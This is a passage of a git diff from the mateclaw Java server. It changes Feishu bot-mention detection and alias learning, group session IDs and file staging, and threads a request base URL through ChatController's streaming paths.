id. synchronized (botOpenIdLock) { this.botOpenId = null; + this.botName = null; this.botOpenIdLastFailureMs = 0L; } this.processedMessageIds.clear(); + this.chatBotAliases.clear(); + this.mentionTracker.clear(); this.nicknameCache.clear(); this.quotedMessageCache.clear(); log.info("[feishu] Feishu channel stopped"); @@ -643,14 +685,109 @@ public class FeishuChannelAdapter extends AbstractChannelAdapter implements Stre senderOpenId = sender.getSenderId().getOpenId(); } - boolean isBotMentioned = isBotMentionedInEvent(message.getMentions()); + com.lark.oapi.service.im.v1.model.MentionEvent[] mentions = message.getMentions(); + boolean isBotMentioned = detectBotMentionWithLearning(mentions, chatId, messageId); handleFeishuMessage(messageId, messageType, contentStr, chatId, chatType, senderOpenId, parentId, isBotMentioned, event); } // ==================== @提及检测 ==================== - private boolean isBotMentionedInEvent(com.lark.oapi.service.im.v1.model.MentionEvent[] mentions) { - return eventMentionsContainBot(mentions, getBotOpenId()); + /** + * 判断本次事件是否 @ 了 bot,并机会性地学习"群内 bot 别名"。 + * + *

    飞书 SDK 在群内对同一条 @bot 的消息会双投递两个事件,两次的 mentions 数据形态不同: + *

      + *
    • 一份带 bot 的全局身份(与 {@code /open-apis/bot/v3/info} 返回的 openId / app_name 一致);
    • + *
    • 一份带 bot 的群内别名(用户给 bot 起的 chat-scope 名,openId 也是另一套)。
    • + *
    + * 重启后第一条消息能命中"全局身份"那一份直接匹配;后续消息往往只来一份"群内别名"。 + * 本方法在双投递可见时把两份的所有标识聚合到 {@link #chatBotAliases},后续单事件投递就能命中缓存放行。 + * + *

    识别顺序: + *

      + *
    1. 直接匹配 {@code /bot/v3/info} 拿到的 botOpenId / botName;
    2. + *
    3. 查 {@link #chatBotAliases} 缓存里学到的群内别名;
    4. + *
    5. 双投递推断:同一 messageId 之前的事件已被识别 → 本事件的 mentions 也是 bot 的别名。
    6. + *
    + */ + private boolean detectBotMentionWithLearning(com.lark.oapi.service.im.v1.model.MentionEvent[] mentions, + String chatId, String messageId) { + return detectBotMentionWithLearning(mentions, chatId, messageId, getBotOpenId(), botName); + } + + /** Package-private for testing: 纯有状态核心,bot 身份由调用方显式传入(避免触发 /bot/v3/info HTTP)。 */ + boolean detectBotMentionWithLearning(com.lark.oapi.service.im.v1.model.MentionEvent[] mentions, + String chatId, String messageId, + String botOpenId, String botName) { + if (mentions == null || mentions.length == 0) { + return false; + } + + cleanupMentionTracker(); + + // 把本次事件看到的所有标识累积到 per-messageId tracker —— 即使本次匹配不上, + // 后到的事件如果匹配成功,learnFromTrack 会把它们一起 cache。 + MentionTrack track = null; + if (messageId != null) { + track = mentionTracker.computeIfAbsent(messageId, k -> new MentionTrack()); + // Only single-mention deliveries are unambiguous bot identities. A + // multi-mention delivery (e.g. @bot @alice) mixes the bot with + // co-mentioned humans that must NOT be learned as aliases; Feishu's + // dual-delivery alias form is itself a single mention, so this is safe. + if (mentions.length == 1) { + collectMentionIdentifiers(mentions, track.seenIds); + } + } + + // 1. 直接匹配 bot 的全局身份 + if (eventMentionsContainBot(mentions, botOpenId, botName)) { + learnFromTrack(chatId, track); + if (track != null) track.matched = true; + return true; + } + + // 2. 群内已学习别名命中 + if (chatId != null) { + Set learned = chatBotAliases.get(chatId); + if (learned != null && mentionMatchesAnyAlias(mentions, learned)) { + log.info("[feishu] @bot matched via learned chat alias: chatId={}, messageId={}", chatId, messageId); + learnFromTrack(chatId, track); + if (track != null) track.matched = true; + return true; + } + } + + // 3. 双投递学习:同 messageId 的另一次投递已被识别 → 本事件 mentions 是 bot 别名 + if (track != null && track.matched) { + log.info("[feishu] @bot inferred via dual-delivery learning: chatId={}, messageId={}", chatId, messageId); + learnFromTrack(chatId, track); + return true; + } + + return false; + } + + private void learnFromTrack(String chatId, MentionTrack track) { + if (chatId == null || track == null || track.seenIds.isEmpty()) return; + Set aliases = chatBotAliases.computeIfAbsent(chatId, k -> ConcurrentHashMap.newKeySet()); + if (aliases.size() >= CHAT_ALIAS_MAX) return; + int before = aliases.size(); + aliases.addAll(track.seenIds); + int added = aliases.size() - before; + if (added > 0) { + log.info("[feishu] Learned {} new bot alias(es) for chat={} (cache size={})", + added, chatId, aliases.size()); + } + } + + private void cleanupMentionTracker() { + evictStaleTracks(mentionTracker, System.currentTimeMillis(), MENTION_TRACK_TTL_MS); + } + + /** Package-private for testing: 按 TTL 淘汰 mention tracker 中的过期项({@code nowMs} 显式传入便于测试)。 */ + static void evictStaleTracks(Map tracker, long nowMs, long ttlMs) { + long cutoff = nowMs - ttlMs; + tracker.entrySet().removeIf(e -> e.getValue().createdAtMs < cutoff); } private boolean isBotMentionedInWebhookMessage(Map message) { @@ -659,12 +796,51 @@ public class FeishuChannelAdapter extends AbstractChannelAdapter implements Stre return webhookMentionsContainBot(list, getBotOpenId()); } - /** Package-private for testing: 判断 SDK mentions 数组中是否包含指定 open_id */ + /** Package-private for testing: 判断 SDK mentions 数组中是否包含指定 bot(按 openId / unionId / userId / name 命中) */ static boolean eventMentionsContainBot(com.lark.oapi.service.im.v1.model.MentionEvent[] mentions, - String botOpenId) { - if (mentions == null || mentions.length == 0 || botOpenId == null) return false; + String botOpenId, String botName) { + if (mentions == null || mentions.length == 0) return false; for (var mention : mentions) { - if (mention.getId() != null && botOpenId.equals(mention.getId().getOpenId())) return true; + var id = mention.getId(); + // 匹配 openId、unionId、userId 中的任意一个 + if (id != null && botOpenId != null) { + if (botOpenId.equals(id.getOpenId())) return true; + if (botOpenId.equals(id.getUnionId())) return true; + if (botOpenId.equals(id.getUserId())) return true; + } + // 飞书 SDK 对 bot mention 可能使用不同 ID 体系,fallback 到 name 匹配 + if (botName != null && botName.equals(mention.getName())) return true; + } + return false; + } + + /** Package-private for testing: 把 mentions 中每个非空 openId / unionId / userId / name 灌入 sink。 */ + static void collectMentionIdentifiers(com.lark.oapi.service.im.v1.model.MentionEvent[] mentions, + Set sink) { + if (mentions == null || sink == null) return; + for (var mention : mentions) { + var id = mention.getId(); + if (id != null) { + if (id.getOpenId() != null) sink.add(id.getOpenId()); + if (id.getUnionId() != null) sink.add(id.getUnionId()); + if (id.getUserId() != null) sink.add(id.getUserId()); + } + if (mention.getName() != null) sink.add(mention.getName()); + } + } + + /** Package-private for testing: mentions 中是否有任意 openId / unionId / userId / name 命中 aliases 集合。 */ + static boolean mentionMatchesAnyAlias(com.lark.oapi.service.im.v1.model.MentionEvent[] mentions, + Set aliases) { + if (mentions == null || mentions.length == 0 || aliases == null || aliases.isEmpty()) return false; + for (var mention : mentions) { + var id = mention.getId(); + if (id != null) { + if (id.getOpenId() != null && aliases.contains(id.getOpenId())) return true; + if (id.getUnionId() != null && aliases.contains(id.getUnionId())) return true; + if (id.getUserId() != null && aliases.contains(id.getUserId())) return true; + } + if (mention.getName() != null && aliases.contains(mention.getName())) return true; } return false; } @@ -734,7 +910,10 @@ public class FeishuChannelAdapter extends AbstractChannelAdapter implements Stre Map bot = (Map) body.get("bot"); if (bot != null && bot.get("open_id") instanceof String openId && !openId.isBlank()) { botOpenId = openId; - log.info("[feishu] Bot open_id fetched and cached: {}", openId); + if (bot.get("app_name") instanceof String name && !name.isBlank()) { + botName = name; + } + log.info("[feishu] Bot info fetched: open_id={}, name={}", openId, botName); return openId; } // 2xx with no bot.open_id field → treat as transient failure. @@ -794,6 +973,7 @@ public class FeishuChannelAdapter extends AbstractChannelAdapter implements Stre HttpRequest request = HttpRequest.newBuilder() .uri(URI.create(apiBase + "/open-apis/auth/v3/tenant_access_token/internal")) .header("Content-Type", "application/json; charset=utf-8") + .timeout(Duration.ofSeconds(10)) .POST(HttpRequest.BodyPublishers.ofString(jsonBody)) .build(); @@ -940,10 +1120,16 @@ public class FeishuChannelAdapter extends AbstractChannelAdapter implements Stre // prompt only exposes the file name (not its path) to the model — so if this id does // not match, ReadFileTool / DocumentExtractTool cannot find the cached file. String shortSuffix = generateShortSessionSuffix(chatId, senderOpenId, isGroup); + // 群会话改用完整 chatId,但存量旧会话仍在 legacy 后缀下:读时别名回退, + // 让升级前已存在的群沿用旧 conversationId 延续,不重写存量行。 + if (isGroup && chatId != null) { + shortSuffix = resolveGroupSessionSuffix(chatId); + } String conversationId = buildConversationId(shortSuffix, senderOpenId, isGroup); + String stagedUploadPath = null; if (isFileMessage) { - cacheRecentFile(messageId, messageType, contentStr, conversationId); + stagedUploadPath = cacheRecentFile(messageId, messageType, contentStr, conversationId); } // require_mention 群聊过滤:群聊中必须 @机器人才响应。 @@ -979,7 +1165,7 @@ public class FeishuChannelAdapter extends AbstractChannelAdapter implements Stre // 解析消息内容 List contentParts = new ArrayList<>(); - String textContent = extractContentParts(messageId, messageType, contentStr, contentParts); + String textContent = extractContentParts(messageId, messageType, contentStr, contentParts, stagedUploadPath); if (contentParts.isEmpty() && (textContent == null || textContent.isBlank())) { log.debug("[feishu] Empty message content, ignoring"); @@ -1379,19 +1565,22 @@ public class FeishuChannelAdapter extends AbstractChannelAdapter implements Stre return null; } - // ==================== 会话 ID 优化 ==================== + // ==================== 会话 ID ==================== /** - * 生成更短的会话标识后缀 - * - 群聊:app_id 后 4 位 + "_" + chat_id 后 8 位 - * - 私聊:open_id 后 12 位 + * 生成会话标识后缀。 + *
      + *
    • 群聊:直接使用完整 {@code chatId}(全局唯一)。旧实现用 {@code {appId后4}_{chatId后8}} + * 截断后缀,不同群的 {@code chatId} 后 8 位可能相同 → 会话串台。改用完整 chatId 消除碰撞。 + * 存量旧会话不重写,由 {@link #resolveGroupSessionSuffix} 做读时别名回退。
    • + *
    • 私聊:保持原状(取 {@code openId} 后 12 位)。注意私聊路径下该后缀实际不参与 + * conversationId——{@link #buildConversationId} 对 DM 直接用完整 {@code senderOpenId}, + * 故私聊会话 ID 不受本次改动影响。
    • + *
    */ private String generateShortSessionSuffix(String chatId, String openId, boolean isGroup) { if (isGroup && chatId != null) { - String appId = getConfigString("app_id", ""); - String appSuffix = appId.length() >= 4 ? appId.substring(appId.length() - 4) : appId; - String chatSuffix = chatId.length() >= 8 ? chatId.substring(chatId.length() - 8) : chatId; - return appSuffix + "_" + chatSuffix; + return chatId; } if (openId != null) { return openId.length() >= 12 ? openId.substring(openId.length() - 12) : openId; @@ -1402,6 +1591,49 @@ public class FeishuChannelAdapter extends AbstractChannelAdapter implements Stre return null; } + /** + * 旧群会话后缀算法:{@code {appId后4}_{chatId后8}}。仅用于读时别名回退—— + * 在不重写存量行的前提下,让升级前已存在的群会话沿用旧 conversationId 无缝延续。 + */ + // Package-private for testing. + String legacyGroupSuffix(String chatId) { + if (chatId == null) return null; + String appId = getConfigString("app_id", ""); + String appSuffix = appId.length() >= 4 ? appId.substring(appId.length() - 4) : appId; + String chatSuffix = chatId.length() >= 8 ? chatId.substring(chatId.length() - 8) : chatId; + return appSuffix + "_" + chatSuffix; + } + + /** + * 群会话后缀的读时别名回退(不重写存量): + *
      + *
    • 新群(两个 key 都无会话)→ 用完整 chatId 的 canonical key;
    • + *
    • 已迁移群(canonical key 已有会话)→ 用 canonical;
    • + *
    • 存量群(canonical 无、legacy 有)→ 沿用 legacy key,历史无缝延续。
    • + *
    + */ + // Package-private for testing. + String resolveGroupSessionSuffix(String chatId) { + String canonical = chatId; + String legacy = legacyGroupSuffix(chatId); + if (legacy == null || legacy.equals(canonical)) return canonical; + boolean canonicalExists = messageRouter.conversationExists(CHANNEL_TYPE + ":" + canonical); + boolean legacyExists = !canonicalExists + && messageRouter.conversationExists(CHANNEL_TYPE + ":" + legacy); + String picked = pickGroupSessionSuffix(canonical, legacy, canonicalExists, legacyExists); + if (picked.equals(legacy)) { + log.info("[feishu] Reusing legacy group session id for chat={} (read-time alias, no migration write)", chatId); + } + return picked; + } + + /** Package-private for testing: 纯选择逻辑——存量 legacy 会话存在且尚未迁移时沿用 legacy,否则用 canonical。 */ + static String pickGroupSessionSuffix(String canonical, String legacy, + boolean canonicalExists, boolean legacyExists) { + if (!canonicalExists && legacyExists) return legacy; + return canonical; + } + /** * Compute the conversationId that {@link ChannelMessageRouter} would * derive for this chat, so we can save inbound files to the matching @@ -1431,10 +1663,17 @@ public class FeishuChannelAdapter extends AbstractChannelAdapter implements Stre * ({@code ReadFileTool}, {@code DocumentExtractTool}) can find it * via {@code ChatUploadResolver}, and it gets cleaned up when the * conversation is deleted. + * + * @return absolute path of the staged {@code data/chat-uploads/} copy, or + * {@code null} when nothing was cached (unsupported type, missing + * file key, download failure). Callers stamp this path onto the + * current-message content part so the path surfaced to the LLM is + * resolver-reachable instead of the sandbox-external media path. */ - private void cacheRecentFile(String messageId, String messageType, String contentStr, + private String cacheRecentFile(String messageId, String messageType, String contentStr, String conversationId) { try { + log.info("[feishu] cacheRecentFile: type={}, conversationId={}, messageId={}", messageType, conversationId, messageId); Map contentObj = objectMapper.readValue(contentStr, Map.class); String fileKey = null; @@ -1461,20 +1700,20 @@ public class FeishuChannelAdapter extends AbstractChannelAdapter implements Stre type = "file"; } default -> { - return; + return null; } } - if (fileKey == null) return; + if (fileKey == null) return null; // Download file bytes DownloadedResource dl = "image".equals(messageType) ? maybeDownloadImage(messageId, fileKey) : maybeDownloadResource(messageId, fileKey, type, fileName); - if (dl == null) return; + if (dl == null) return null; // Save to data/chat-uploads/{conversationId}/ - Path uploadDir = Path.of("data", "chat-uploads", conversationId); + Path uploadDir = chatUploadsRoot.resolve(conversationId); Files.createDirectories(uploadDir); String rawName = (dl.fileName() != null && !dl.fileName().isBlank()) ? dl.fileName() : fileKey; @@ -1502,8 +1741,10 @@ public class FeishuChannelAdapter extends AbstractChannelAdapter implements Stre log.info("[feishu] Cached recent file for conversation={}: {} ({} bytes, {})", conversationId, entry.fileName(), Files.size(dest), contentType); + return dest.toAbsolutePath().toString(); } catch (Exception e) { - log.debug("[feishu] Failed to cache recent file: {}", e.getMessage()); + log.warn("[feishu] Failed to cache recent file for conversation={}: {}", conversationId, e.getMessage(), e); + return null; } } @@ -1514,9 +1755,17 @@ public class FeishuChannelAdapter extends AbstractChannelAdapter implements Stre * * @return updated textContent with file descriptions appended */ - private String injectRecentFiles(String conversationId, List parts, String textContent) { + // Package-private for testing. + String injectRecentFiles(String conversationId, List parts, String textContent) { List recent = recentFileCache.getIfPresent(conversationId); - if (recent == null || recent.isEmpty()) return textContent; + if (recent == null || recent.isEmpty()) { + // Fallback: scan data/chat-uploads/{conversationId}/ on disk. + // Survives process restart / Caffeine TTL expiry / GC eviction. + recent = loadRecentFilesFromDisk(conversationId); + if (recent.isEmpty()) return textContent; + log.info("[feishu] injectRecentFiles: cache miss, recovered {} file(s) from disk for conversation={}", + recent.size(), conversationId); + } // Collect paths already in parts to avoid duplicates Set existingPaths = new java.util.HashSet<>(); @@ -1546,20 +1795,111 @@ public class FeishuChannelAdapter extends AbstractChannelAdapter implements Stre return text.toString(); } + /** + * Scan {@code data/chat-uploads/{conversationId}/} on disk and return + * the most recent files as {@link RecentFileEntry}s. Used as a + * fallback when the in-memory Caffeine cache has been evicted + * (process restart, TTL expiry, GC pressure) but the staged copies + * are still on disk. + */ + private List loadRecentFilesFromDisk(String conversationId) { + long cutoff = System.currentTimeMillis() - RECENT_FILE_TTL_MINUTES * 60_000L; + return loadRecentFilesFromDisk(chatUploadsRoot.resolve(conversationId), cutoff); + } + + /** + * Package-private for testing: explicit {@code dir} and {@code cutoffMs} make the + * test deterministic without temp-directory path construction or time mocking. + * Production callers go through {@link #loadRecentFilesFromDisk(String)}. + */ + List loadRecentFilesFromDisk(Path dir, long cutoffMs) { + if (!Files.isDirectory(dir)) return List.of(); + try (var stream = Files.list(dir)) { + return stream + .filter(Files::isRegularFile) + .filter(p -> { + try { + return Files.getLastModifiedTime(p).toMillis() >= cutoffMs; + } catch (Exception e) { + return true; + } + }) + .sorted((a, b) -> { + try { + return Long.compare( + Files.getLastModifiedTime(b).toMillis(), + Files.getLastModifiedTime(a).toMillis()); + } catch (Exception e) { + return 0; + } + }) + .limit(RECENT_FILE_MAX_PER_CHAT) + .map(p -> { + String fileName = p.getFileName().toString(); + // Strip timestamp prefix (e.g. "1777391026594_report.pdf" → "report.pdf") + int sep = fileName.indexOf('_'); + String display = (sep > 0 && sep < 20) ? fileName.substring(sep + 1) : fileName; + String contentType = guessContentType(p); + return new RecentFileEntry(display, p.toAbsolutePath().toString(), null, contentType); + }) + .toList(); + } catch (Exception e) { + // warn (not debug): a failed disk scan silently drops recovered files, which + // reproduces the exact "bot can't see the file" symptom this fallback fixes. + log.warn("[feishu] Failed to scan disk for recent files in {}: {}", dir, e.getMessage(), e); + return List.of(); + } + } + + /** Best-effort content type from file extension. */ + private static String guessContentType(Path p) { + String name = p.getFileName().toString().toLowerCase(); + if (name.endsWith(".pdf")) return "application/pdf"; + if (name.endsWith(".docx")) return "application/vnd.openxmlformats-officedocument.wordprocessingml.document"; + if (name.endsWith(".xlsx")) return "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet"; + if (name.endsWith(".pptx")) return "application/vnd.openxmlformats-officedocument.presentationml.presentation"; + if (name.endsWith(".doc")) return "application/msword"; + if (name.endsWith(".xls")) return "application/vnd.ms-excel"; + if (name.endsWith(".ppt")) return "application/vnd.ms-powerpoint"; + if (name.endsWith(".txt")) return "text/plain"; + if (name.endsWith(".csv")) return "text/csv"; + if (name.endsWith(".json")) return "application/json"; + if (name.endsWith(".xml")) return "application/xml"; + if (name.endsWith(".md")) return "text/markdown"; + if (name.endsWith(".png")) return "image/png"; + if (name.endsWith(".jpg") || name.endsWith(".jpeg")) return "image/jpeg"; + if (name.endsWith(".gif")) return "image/gif"; + if (name.endsWith(".webp")) return "image/webp"; + if (name.endsWith(".mp3")) return "audio/mpeg"; + if (name.endsWith(".ogg")) return "audio/ogg"; + if (name.endsWith(".opus")) return "audio/opus"; + if (name.endsWith(".wav")) return "audio/wav"; + if (name.endsWith(".mp4")) return "video/mp4"; + if (name.endsWith(".mov")) return "video/quicktime"; + if (name.endsWith(".zip")) return "application/zip"; + if (name.endsWith(".rar")) return "application/x-rar-compressed"; + if (name.endsWith(".7z")) return "application/x-7z-compressed"; + return "application/octet-stream"; + } + // ==================== 消息内容解析 ==================== /** * 解析飞书消息内容为 contentParts * - * @param messageId 消息 ID(用于媒体下载) - * @param messageType 消息类型 - * @param contentStr 消息内容 JSON 字符串 - * @param parts 输出的 content parts + * @param messageId 消息 ID(用于媒体下载) + * @param messageType 消息类型 + * @param contentStr 消息内容 JSON 字符串 + * @param parts 输出的 content parts + * @param stagedUploadPath {@code cacheRecentFile} 复制到 {@code data/chat-uploads/} + * 的绝对路径(可空)。非空时覆盖各附件 part 的 path,使其指向 + * 沙箱可达(经 {@code ChatUploadResolver})的那一份,而不是 + * 沙箱外的 {@code ~/.mateclaw/media/} 路径。 * @return 纯文本摘要 */ @SuppressWarnings("unchecked") private String extractContentParts(String messageId, String messageType, String contentStr, - List parts) { + List parts, String stagedUploadPath) { if (contentStr == null) return null; try { @@ -1588,6 +1928,7 @@ public class FeishuChannelAdapter extends AbstractChannelAdapter implements Stre DownloadedResource dl = maybeDownloadImage(messageId, imageKey); MessageContentPart part = MessageContentPart.image(imageKey, null); applyDownload(part, dl); + if (stagedUploadPath != null) part.setPath(stagedUploadPath); parts.add(part); } yield "[图片]"; @@ -1599,6 +1940,7 @@ public class FeishuChannelAdapter extends AbstractChannelAdapter implements Stre DownloadedResource dl = maybeDownloadResource(messageId, fileKey, "file", fileName); MessageContentPart part = MessageContentPart.file(fileKey, fileName, null); applyDownload(part, dl); + if (stagedUploadPath != null) part.setPath(stagedUploadPath); parts.add(part); } yield "[文件: " + (fileName != null ? fileName : "") + "]"; @@ -1612,6 +1954,7 @@ public class FeishuChannelAdapter extends AbstractChannelAdapter implements Stre DownloadedResource dl = maybeDownloadResource(messageId, fileKey, "file", "voice.opus"); MessageContentPart part = MessageContentPart.audio(fileKey, null); applyDownload(part, dl); + if (stagedUploadPath != null) part.setPath(stagedUploadPath); // STT hop: inject the transcript as a sibling text part BEFORE // the audio part so ChannelMessageRouter.buildPromptFromParts // sees real content instead of just "[音频]". WeCom / DingTalk @@ -1632,6 +1975,7 @@ public class FeishuChannelAdapter extends AbstractChannelAdapter implements Stre DownloadedResource dl = maybeDownloadResource(messageId, fileKey, "file", fileName); MessageContentPart part = MessageContentPart.video(fileKey, fileName); applyDownload(part, dl); + if (stagedUploadPath != null) part.setPath(stagedUploadPath); parts.add(part); } yield "[视频]"; diff --git a/mateclaw-server/src/main/java/vip/mate/channel/web/ChatController.java b/mateclaw-server/src/main/java/vip/mate/channel/web/ChatController.java index 37ee1637..651c5575 100644 --- a/mateclaw-server/src/main/java/vip/mate/channel/web/ChatController.java +++ b/mateclaw-server/src/main/java/vip/mate/channel/web/ChatController.java @@ -85,6 +85,14 @@ public class ChatController { // RFC-058 PR-1: Utf8SseEmitter 显式声明 charset=UTF-8,防止中文在 Windows 中文 Chrome / 部分代理处乱码 SseEmitter emitter = new Utf8SseEmitter(10 * 60 * 1000L); + // Resolve the public base URL on THIS (request) thread. Every agent run + // below is dispatched to sseExecutor / reactive callbacks that run off + // the request thread, where the request is no longer bound and + // ServletUriComponentsBuilder would yield null. Capturing it here lets + // tool-generated download links carry an absolute host on the streaming, + // approval-replay, and queued-message paths alike. + final String requestBaseUrl = resolveRequestBaseUrl(); + // ---- 分支 A:断线重连 ---- if (Boolean.TRUE.equals(request.getReconnect())) { String reconnectUser = auth != null ? auth.getName() : "anonymous"; @@ -258,7 +266,7 @@ public class ChatController { // deny 是正常 turn 终结,用户可能在 awaiting_approval 阶段排了消息 ChatStreamTracker.CompletionResult denyCr = streamTracker.completeAndConsumeIfLast(conversationId); if (denyCr.allDone() && denyCr.queuedInput() != null) { - startQueuedMessage(conversationId, emitter, approvalEmitterDone, denyCr.queuedInput(), username); + startQueuedMessage(conversationId, emitter, approvalEmitterDone, denyCr.queuedInput(), username, requestBaseUrl); } else { completeEmitterQuietly(emitter, approvalEmitterDone); } @@ -272,7 +280,7 @@ public class ChatController { // 审批记录被另一个请求消费,但用户可能在等待期间排了消息 ChatStreamTracker.CompletionResult consumedNullCr = streamTracker.completeAndConsumeIfLast(conversationId); if (consumedNullCr.allDone() && consumedNullCr.queuedInput() != null) { - startQueuedMessage(conversationId, emitter, approvalEmitterDone, consumedNullCr.queuedInput(), username); + startQueuedMessage(conversationId, emitter, approvalEmitterDone, consumedNullCr.queuedInput(), username, requestBaseUrl); } else { completeEmitterQuietly(emitter, approvalEmitterDone); } @@ -298,6 +306,9 @@ public class ChatController { replayOrigin = vip.mate.agent.context.ChatOrigin.web( conversationId, username, workspaceId, null); } + // Carry the request-thread base URL so any file a replayed + // tool generates gets an absolute download link. + replayOrigin = replayOrigin.withBaseUrl(requestBaseUrl); Disposable disposable = agentService.chatWithReplayStream( replayAgentId, replayPrompt, conversationId, finalConsumed.getToolCallPayload(), username, replayOrigin) .doOnNext(delta -> { @@ -371,7 +382,7 @@ public class ChatController { ChatStreamTracker.CompletionResult cr = streamTracker.completeAndConsumeIfLast(conversationId); if (cr.allDone()) { if (cr.queuedInput() != null) { - startQueuedMessage(conversationId, emitter, approvalEmitterDone, cr.queuedInput(), username); + startQueuedMessage(conversationId, emitter, approvalEmitterDone, cr.queuedInput(), username, requestBaseUrl); } else { conversationService.updateStreamStatus(conversationId, "idle"); completeEmitterQuietly(emitter, approvalEmitterDone); @@ -469,7 +480,7 @@ public class ChatController { ChatStreamTracker.CompletionResult cr = streamTracker.completeAndConsumeIfLast(conversationId); if (cr.allDone()) { if (cr.queuedInput() != null) { - startQueuedMessage(conversationId, emitter, approvalEmitterDone, cr.queuedInput(), username); + startQueuedMessage(conversationId, emitter, approvalEmitterDone, cr.queuedInput(), username, requestBaseUrl); } else { conversationService.updateStreamStatus(conversationId, "idle"); completeEmitterQuietly(emitter, approvalEmitterDone); @@ -544,7 +555,8 @@ public class ChatController { // tools that need a workspace path read it from the agent (origin // is enriched with workspaceBasePath in StateGraph buildInitialState). vip.mate.agent.context.ChatOrigin webOrigin = - memoryOrigin(conversationId, username, workspaceId, request.getEndUserId()); + memoryOrigin(conversationId, username, workspaceId, request.getEndUserId()) + .withBaseUrl(requestBaseUrl); Disposable disposable = agentService.chatStructuredStream(agentId, promptText, conversationId, username, request.getThinkingLevel(), webOrigin) .doOnNext(delta -> { if (emitterDone.get()) return; @@ -680,7 +692,7 @@ public class ChatController { // genuinely doesn't want continuation, no message would // have been in messageQueue to begin with. if (cr.queuedInput() != null) { - startQueuedMessage(conversationId, emitter, emitterDone, cr.queuedInput(), username); + startQueuedMessage(conversationId, emitter, emitterDone, cr.queuedInput(), username, requestBaseUrl); } else { conversationService.updateStreamStatus(conversationId, "idle"); // 延迟关闭 emitter,确保最后的事件都已发送 @@ -771,7 +783,7 @@ public class ChatController { if (cr.allDone()) { if (cr.queuedInput() != null) { // 无论中断类型,都消费排队消息(修复 Disposable 不可用时队列被丢弃的 bug) - startQueuedMessage(conversationId, emitter, emitterDone, cr.queuedInput(), username); + startQueuedMessage(conversationId, emitter, emitterDone, cr.queuedInput(), username, requestBaseUrl); } else { conversationService.updateStreamStatus(conversationId, "idle"); completeEmitterQuietly(emitter, emitterDone); @@ -891,7 +903,7 @@ public class ChatController { // — just run it. Aligns with doOnComplete and the 4 other // queue-launch sites in this controller. if (cr.queuedInput() != null) { - startQueuedMessage(conversationId, emitter, emitterDone, cr.queuedInput(), username); + startQueuedMessage(conversationId, emitter, emitterDone, cr.queuedInput(), username, requestBaseUrl); } else { conversationService.updateStreamStatus(conversationId, "idle"); completeEmitterQuietly(emitter, emitterDone); @@ -1143,12 +1155,30 @@ public class ChatController { */ private vip.mate.agent.context.ChatOrigin memoryOrigin(String conversationId, String username, Long workspaceId, String endUserId) { + // Resolve the public base URL here, on the request thread, so it can ride + // the origin into async tool execution where no request is bound. Tools + // then mint absolute download links without operator config. + String baseUrl = resolveRequestBaseUrl(); if (endUserId != null && !endUserId.isBlank()) { return vip.mate.agent.context.ChatOrigin - .web(conversationId, endUserId.trim(), workspaceId, null) + .web(conversationId, endUserId.trim(), workspaceId, null, baseUrl) .withSender(null, "api", null); } - return vip.mate.agent.context.ChatOrigin.web(conversationId, username, workspaceId, null); + return vip.mate.agent.context.ChatOrigin.web(conversationId, username, workspaceId, null, baseUrl); + } + + /** + * Resolve {@code scheme://host[:port][/contextPath]} from the current request, + * honouring {@code X-Forwarded-*} when a {@code ForwardedHeaderFilter} is active. + * Returns null off the request thread (caller falls back to config / relative). + */ + private String resolveRequestBaseUrl() { + try { + return org.springframework.web.servlet.support.ServletUriComponentsBuilder + .fromCurrentContextPath().build().toUriString(); + } catch (Exception e) { + return null; + } } @lombok.Data @@ -1218,7 +1248,8 @@ public class ChatController { * 支持链式续跑:queued stream 自身完成时也通过 completeAndConsumeIfLast 检查并递归调用。 */ private void startQueuedMessage(String conversationId, SseEmitter emitter, AtomicBoolean emitterDone, - ChatStreamTracker.QueuedInput preConsumedInput, String requesterId) { + ChatStreamTracker.QueuedInput preConsumedInput, String requesterId, + String baseUrl) { if (preConsumedInput == null) { conversationService.updateStreamStatus(conversationId, "idle"); completeEmitterQuietly(emitter, emitterDone); @@ -1279,7 +1310,8 @@ public class ChatController { // a web-origin ChatOrigin so any cron job created during the queued // turn keeps a consistent (null-channel) binding. vip.mate.agent.context.ChatOrigin queuedOrigin = - vip.mate.agent.context.ChatOrigin.web(conversationId, requesterId, null, null); + vip.mate.agent.context.ChatOrigin.web(conversationId, requesterId, null, null) + .withBaseUrl(baseUrl); Disposable disposable = agentService.chatStructuredStream(agentId, queuedMessage, conversationId, requesterId, null, queuedOrigin) .doOnNext(delta -> { if (emitterDone.get()) return; @@ -1339,7 +1371,7 @@ public class ChatController { if (cr.allDone()) { if (cr.queuedInput() != null) { // 链式续跑:queued stream 期间又排了新消息 - startQueuedMessage(conversationId, emitter, emitterDone, cr.queuedInput(), requesterId); + startQueuedMessage(conversationId, emitter, emitterDone, cr.queuedInput(), requesterId, baseUrl); } else { conversationService.updateStreamStatus(conversationId, "idle"); sseExecutor.execute(() -> { @@ -1381,7 +1413,7 @@ public class ChatController { ChatStreamTracker.CompletionResult cr = streamTracker.completeAndConsumeIfLast(conversationId); if (cr.allDone()) { if (cr.queuedInput() != null) { - startQueuedMessage(conversationId, emitter, emitterDone, cr.queuedInput(), requesterId); + startQueuedMessage(conversationId, emitter, emitterDone, cr.queuedInput(), requesterId, baseUrl); } else { conversationService.updateStreamStatus(conversationId, "idle"); completeEmitterQuietly(emitter, emitterDone); diff --git a/mateclaw-server/src/main/java/vip/mate/channel/web/SegmentSupersedeDetector.java b/mateclaw-server/src/main/java/vip/mate/channel/web/SegmentSupersedeDetector.java index 9e97f583..c3fe20d6 100644 --- a/mateclaw-server/src/main/java/vip/mate/channel/web/SegmentSupersedeDetector.java +++ b/mateclaw-server/src/main/java/vip/mate/channel/web/SegmentSupersedeDetector.java @@ -14,7 +14,7 @@ final class SegmentSupersedeDetector { static final String REASON_TOOL_RESULT_REPLACED_MODEL_CLAIM = "tool_result_replaced_model_claim"; private static final Pattern GENERATED_FILE_URL = - Pattern.compile("/api/v1/files/generated/[A-Za-z0-9-]+"); + Pattern.compile("(?:https?://[^/\\s)\\]]+)?/api/v1/files/generated/[A-Za-z0-9-]+"); private static final Pattern BYTE_COUNT = Pattern.compile("\\d+\\s*字节"); private static final Pattern REPLACEMENT_COUNT = diff --git a/mateclaw-server/src/main/java/vip/mate/channel/webchat/WebChatAdminController.java b/mateclaw-server/src/main/java/vip/mate/channel/webchat/WebChatAdminController.java new file mode 100644 index 00000000..7e16dace --- /dev/null +++ b/mateclaw-server/src/main/java/vip/mate/channel/webchat/WebChatAdminController.java @@ -0,0 +1,104 @@ +package vip.mate.channel.webchat; + +import io.swagger.v3.oas.annotations.Operation; +import 